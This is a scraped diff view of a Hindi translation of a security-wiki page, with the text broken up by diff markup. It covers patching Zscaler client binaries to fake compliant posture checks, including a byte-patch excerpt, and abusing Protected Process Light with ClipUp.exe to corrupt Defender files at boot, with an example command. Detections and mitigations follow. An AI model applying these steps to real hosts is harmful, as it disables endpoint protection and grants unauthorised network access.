||||||
|
|
||||||
डिस्क पर चार signed binaries को patch करके दोनों mechanisms को neutralise किया जा सकता है:
|
डिस्क पर चार signed binaries को पैच करके दोनों मेकैनिज्म को निष्क्रिय किया जा सकता है:
|
||||||
|
|
||||||
| Binary | Original logic patched | Result |
|
| बाइनरी | मूल लॉजिक में पैच | परिणाम |
|
||||||
|--------|------------------------|---------|
|
|--------|-------------------|--------|
|
||||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | हमेशा `1` लौटाता है इसलिए हर चेक compliant हो जाता है |
|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | हमेशा `1` रिटर्न करता है ताकि हर चेक compliant हो |
|
||||||
| `ZSAService.exe` | `Indirect call to \`WinVerifyTrust\`` | NOP-ed ⇒ कोई भी (यहाँ तक कि unsigned) process RPC pipes से bind कर सकता है |
|
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ कोई भी (यहाँ तक कि unsigned) process RPC pipes को bind कर सकता है |
|
||||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` से बदला गया |
|
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` से बदला गया |
|
||||||
| `ZSATunnel.exe` | Tunnel पर integrity checks | बायपास किया गया |
|
| `ZSATunnel.exe` | Tunnel पर integrity checks | Short-circuited |
|
||||||
|
|
||||||
Minimal patcher excerpt:
|
न्यूनतम पैचर अंश:
|
||||||
```python
|
```python
|
||||||
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
||||||
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
||||||
@ -765,22 +796,22 @@ else:
|
|||||||
f.seek(off)
|
f.seek(off)
|
||||||
f.write(replacement)
|
f.write(replacement)
|
||||||
```
|
```
|
||||||
मूल फाइलों को बदलने और सर्विस स्टैक को पुनरारम्भ करने के बाद:
|
After replacing the original files and restarting the service stack:
|
||||||
|
|
||||||
* **सभी** posture checks **green/compliant** प्रदर्शित करते हैं।
|
* **सभी** पोज़चर चेक्स **हरे/अनुपालक** दिखते हैं।
|
||||||
* Unsigned या संशोधित binaries नामित-पाइप RPC endpoints खोल सकते हैं (उदा. `\\RPC Control\\ZSATrayManager_talk_to_me`)।
|
* अनसाइन किए गए या संशोधित बाइनरी नामित-पाइप RPC endpoints खोल सकते हैं (उदा. `\\RPC Control\\ZSATrayManager_talk_to_me`)।
|
||||||
* समझौता किया गया होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक असीमित पहुँच प्राप्त कर लेता है।
|
* समझौता किया गया होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक बिना प्रतिबंध के पहुँच प्राप्त कर लेता है।
|
||||||
|
|
||||||
यह केस स्टडी दिखाती है कि कैसे केवल client-side ट्रस्ट निर्णय और सरल सिग्नेचर चेक कुछ बाइट पैचेस से विफल किए जा सकते हैं।
|
यह केस स्टडी दिखाती है कि कैसे केवल क्लाइंट-साइड ट्रस्ट निर्णय और साधारण सिग्नेचर जाँच कुछ बाइट पैचेस से पराजित किये जा सकते हैं।
|
||||||
|
|
||||||
## Protected Process Light (PPL) का दुरुपयोग कर AV/EDR को LOLBINs के साथ टैंपर करना
|
## Protected Process Light (PPL) का दुरुपयोग करके AV/EDR के साथ LOLBINs से छेड़छाड़
|
||||||
|
|
||||||
Protected Process Light (PPL) एक signer/level hierarchy लागू करता है ताकि केवल समान-या-उच्च सुरक्षा वाले protected processes ही एक दूसरे को टैंपर कर सकें। Offensive दृष्टिकोण से, अगर आप वैध रूप से कोई PPL-enabled binary लॉन्च कर सकते हैं और उसके arguments नियंत्रित कर सकते हैं, तो आप benign functionality (जैसे logging) को एक constrained, PPL-backed write primitive में बदल सकते हैं जो AV/EDR द्वारा उपयोग किए जाने वाले protected directories के खिलाफ काम करता है।
|
Protected Process Light (PPL) एक signer/level hierarchy लागू करता है ताकि केवल समान-या-ऊँचे सुरक्षित प्रक्रियाएँ ही एक-दूसरे को छेड़छाड़ कर सकें। आक्रामक दृष्टिकोण से, यदि आप वैध रूप से एक PPL-enabled बाइनरी लॉन्च कर सकें और उसके arguments को नियंत्रित कर सकें, तो आप बेनिग्न फ़ंक्शनलिटी (उदा., logging) को एक सीमित, PPL-backed write primitive में बदल सकते हैं जो AV/EDR द्वारा उपयोग किए जाने वाले संरक्षित निर्देशिकाओं के खिलाफ काम करे।
|
||||||
|
|
||||||
What makes a process run as PPL
|
एक प्रक्रिया को PPL के रूप में चलाने के लिए क्या आवश्यक है
|
||||||
- Target EXE (and any loaded DLLs) को PPL-capable EKU के साथ साइन किया जाना चाहिए।
|
- लक्ष्य EXE (और कोई भी लोडेड DLLs) को PPL-capable EKU के साथ साइन किया होना चाहिए।
|
||||||
- प्रोसेस को CreateProcess का उपयोग करके इन flags के साथ बनाया जाना चाहिए: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`।
|
- प्रक्रिया को CreateProcess का उपयोग करके निम्न flags के साथ बनाया जाना चाहिए: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`।
|
||||||
- एक compatible protection level अनुरोध किया जाना चाहिए जो binary के signer से मेल खाता हो (उदा., anti-malware signers के लिए `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, Windows signers के लिए `PROTECTION_LEVEL_WINDOWS`)। गलत level होने पर creation विफल हो जाएगी।
|
- एक संगत protection level अनुरोधित किया जाना चाहिए जो बाइनरी के signer से मेल खाता हो (उदा., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` anti-malware signers के लिए, `PROTECTION_LEVEL_WINDOWS` Windows signers के लिए)। गलत स्तर creation पर असफल होगा।
|
||||||
|
|
||||||
See also a broader intro to PP/PPL and LSASS protection here:
|
See also a broader intro to PP/PPL and LSASS protection here:
|
||||||
|
|
||||||
@ -788,10 +819,10 @@ See also a broader intro to PP/PPL and LSASS protection here:
|
|||||||
stealing-credentials/credentials-protections.md
|
stealing-credentials/credentials-protections.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Launcher tooling
|
लॉन्चर टूलिंग
|
||||||
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
|
- ओपन-सोर्स हेल्पर: CreateProcessAsPPL (protection level चुनता है और arguments को लक्ष्य EXE को फॉरवर्ड करता है):
|
||||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||||
- Usage pattern:
|
- उपयोग पैटर्न:
|
||||||
```text
|
```text
|
||||||
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
|
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
|
||||||
# example: spawn a Windows-signed component at PPL level 1 (Windows)
|
# example: spawn a Windows-signed component at PPL level 1 (Windows)
|
||||||
@ -800,41 +831,41 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
|
|||||||
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||||
```
|
```
|
||||||
LOLBIN प्रिमिटिव: ClipUp.exe
|
LOLBIN प्रिमिटिव: ClipUp.exe
|
||||||
- The signed system binary `C:\Windows\System32\ClipUp.exe` स्वयं-स्पॉन करता है और caller-specified path पर एक log फ़ाइल लिखने के लिए एक parameter स्वीकार करता है।
|
- साइन किए गए सिस्टम बाइनरी `C:\Windows\System32\ClipUp.exe` स्वयं-स्पॉन करता है और कॉलर-निर्दिष्ट पाथ पर लॉग फ़ाइल लिखने के लिए एक पैरामीटर स्वीकार करता है.
|
||||||
- जब इसे एक PPL प्रक्रिया के रूप में लॉन्च किया जाता है, तो फ़ाइल लिखना PPL backing के साथ होता है।
|
- जब इसे PPL प्रोसेस के रूप में लॉन्च किया जाता है, फ़ाइल लिखना PPL बैकिंग के साथ होता है.
|
||||||
- ClipUp स्पेस वाले paths को पार्स नहीं कर सकता; सामान्यतः सुरक्षित लोकेशनों की ओर संकेत करने के लिए 8.3 short paths का प्रयोग करें।
|
- ClipUp स्पेस वाले पाथ्स को पार्स नहीं कर सकता; सामान्यतः संरक्षित लोकेशनों को इंगित करने के लिए 8.3 short paths का उपयोग करें.
|
||||||
|
|
||||||
8.3 short path helpers
|
8.3 short path सहायक
|
||||||
- शॉर्ट नाम सूचीबद्ध करें: `dir /x` प्रत्येक parent directory में।
|
- शॉर्ट नाम सूचीबद्ध करें: `dir /x` प्रत्येक parent directory में.
|
||||||
- cmd में शॉर्ट पाथ निकालें: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
- cmd में शॉर्ट पाथ निकालें: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||||
|
|
||||||
Abuse chain (सारांश)
|
Abuse chain (abstract)
|
||||||
1) PPL-capable LOLBIN (ClipUp) को `CREATE_PROTECTED_PROCESS` के साथ लॉन्च करें एक launcher का उपयोग करके (उदा., CreateProcessAsPPL)।
|
1) PPL-capable LOLBIN (ClipUp) को `CREATE_PROTECTED_PROCESS` के साथ लॉन्च करें, किसी launcher (उदा., CreateProcessAsPPL) का उपयोग करते हुए.
|
||||||
2) ClipUp को log-path आर्गुमेंट पास करें ताकि protected AV directory (उदा., Defender Platform) में फ़ाइल बनाना मजबूर किया जा सके। आवश्यकता होने पर 8.3 short names का उपयोग करें।
|
2) ClipUp को log-path आर्गुमेंट पास करें ताकि एक प्रोटेक्टेड AV डायरेक्टरी (उदा., Defender Platform) में फ़ाइल बनाई जा सके। आवश्यकता होने पर 8.3 short names का उपयोग करें.
|
||||||
3) अगर target binary सामान्यतः AV द्वारा चलने के दौरान open/locked रहती है (उदा., MsMpEng.exe), तो AV के शुरू होने से पहले बूट पर लिखने का शेड्यूल करें — इसके लिए एक auto-start service इंस्टॉल करें जो विश्वसनीय रूप से पहले चले। Process Monitor (boot logging) से boot ordering सत्यापित करें।
|
3) यदि target बाइनरी आमतौर पर AV द्वारा रन करते समय खुली/लॉक रहती है (उदा., MsMpEng.exe), तो AV शुरू होने से पहले बूट पर लिखने के लिए एक auto-start service इंस्टॉल करके शेड्यूल करें जो विश्वसनीय रूप से पहले चले। Process Monitor (boot logging) के साथ बूट ऑर्डरिंग वैलिडेट करें.
|
||||||
4) रीबूट पर PPL-backed लिखना AV के बाइनरी लॉक करने से पहले होता है, जिससे target फ़ाइल भ्रष्ट हो जाती है और स्टार्टअप रुक जाता है।
|
4) रिबूट पर PPL-backed write AV द्वारा बाइनरियों को लॉक करने से पहले होता है, जिससे target फ़ाइल करप्ट हो जाती है और startup रोक जाता है.
|
||||||
|
|
||||||
Example invocation (paths redacted/shortened for safety):
|
Example invocation (paths redacted/shortened for safety):
|
||||||
```text
|
```text
|
||||||
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
|
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
|
||||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||||
```
|
```
|
||||||
Notes and constraints
|
नोट्स और सीमाएँ
|
||||||
- आप placement के अलावा ClipUp द्वारा लिखी जाने वाली सामग्री को नियंत्रित नहीं कर सकते; यह primitive सटीक कंटेंट इंजेक्शन के बजाय भ्रष्ट करने के लिए उपयुक्त है।
|
- आप ClipUp द्वारा लिखी जाने वाली सामग्री को स्थान के अलावा नियंत्रित नहीं कर सकते; यह primitive सटीक सामग्री इंजेक्शन की तुलना में भ्रष्टाचार के लिए उपयुक्त है।
|
||||||
- सेवा इंस्टॉल/स्टार्ट करने और रिबूट विंडो के लिए local admin/SYSTEM की आवश्यकता होती है।
|
- सेवा install/start करने और रीबूट विंडो के लिए local admin/SYSTEM आवश्यक है।
|
||||||
- टाइमिंग महत्वपूर्ण है: लक्ष्य खुला नहीं होना चाहिए; बूट-टाइम निष्पादन फाइल लॉक से बचाता है।
|
- समय महत्वपूर्ण है: लक्ष्य खुला नहीं होना चाहिए; बूट-टाइम निष्पादन फाइल लॉक से बचाता है।
|
||||||
|
|
||||||
Detections
|
डिटेक्शन
|
||||||
- असामान्य arguments के साथ `ClipUp.exe` की process रचना, विशेषकर non-standard launchers द्वारा parent की गई और बूट के आसपास।
|
- `ClipUp.exe` के असामान्य arguments के साथ प्रोसेस बनना, विशेषकर जब इसका parent non-standard launchers हो और यह बूट के दौरान/आसपास हो।
|
||||||
- ऐसे नए services जो suspicious binaries को auto-start के लिए कॉन्फ़िगर किए गए हों और जो लगातार Defender/AV से पहले शुरू हों। Defender startup विफलताओं से पहले service creation/modification की जाँच करें।
|
- नई सेवाएँ जो auto-start के लिए संदिग्ध binaries को कॉन्फ़िगर करती हैं और लगातार Defender/AV से पहले शुरू होती हैं। Defender के startup विफलताओं से पहले की service creation/modification की जाँच करें।
|
||||||
- Defender binaries/Platform डायरेक्टरीज़ पर file integrity monitoring; protected-process flag वाले processes द्वारा अनपेक्षित file creations/modifications।
|
- Defender binaries/Platform निर्देशिकाओं पर file integrity monitoring; protected-process flags वाले प्रोसेसों द्वारा अनपेक्षित फाइल निर्माण/परिवर्तन।
|
||||||
- ETW/EDR telemetry: `CREATE_PROTECTED_PROCESS` के साथ बनाए गए processes और non-AV binaries द्वारा असामान्य PPL स्तर उपयोग की तलाश करें।
|
- ETW/EDR telemetry: `CREATE_PROTECTED_PROCESS` के साथ बनाए गए प्रोसेस और non-AV binaries द्वारा असामान्य PPL स्तर के उपयोग पर नज़र रखें।
|
||||||
|
|
||||||
Mitigations
|
निवारण
|
||||||
- WDAC/Code Integrity: यह सीमित करें कि कौन से signed binaries PPL के रूप में और किन parents के तहत चल सकते हैं; वैध contexts के बाहर ClipUp invocation को ब्लॉक करें।
|
- WDAC/Code Integrity: सीमित करें कि कौन से signed binaries PPL के रूप में और किन parent के अंतर्गत चल सकते हैं; legitimate contexts के बाहर ClipUp के invocation को ब्लॉक करें।
|
||||||
- Service hygiene: auto-start services के creation/modification को सीमित करें और start-order manipulation की निगरानी करें।
|
- Service hygiene: auto-start सेवाओं की creation/modification को सीमित करें और start-order में हेरफेर की निगरानी करें।
|
||||||
- सुनिश्चित करें कि Defender tamper protection और early-launch protections सक्षम हैं; binary corruption के संकेत देने वाली startup त्रुटियों की जाँच करें।
|
- पुष्टि करें कि Defender tamper protection और early-launch protections सक्षम हैं; binary corruption सूचित करने वाले startup errors की जांच करें।
|
||||||
- यदि आपके वातावरण के साथ संगत हो तो security tooling होस्ट करने वाले वॉल्यूम पर 8.3 short-name generation को अक्षम करने पर विचार करें (पूरी तरह परीक्षण करें)।
|
- यदि आपकी वातावरण के साथ compatible हो तो security tooling होस्ट करने वाले वॉल्यूम्स पर 8.3 short-name generation को अक्षम करने पर विचार करें (पूरी तरह परीक्षण करें)।
|
||||||
|
|
||||||
References for PPL and tooling
|
References for PPL and tooling
|
||||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||||
@ -843,7 +874,7 @@ References for PPL and tooling
|
|||||||
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||||
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
|
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
|
||||||
|
|
||||||
## References
|
## संदर्भ
|
||||||
|
|
||||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||||
@ -857,4 +888,6 @@ References for PPL and tooling
|
|||||||
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||||
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
|
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
|
||||||
|
|
||||||
|
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user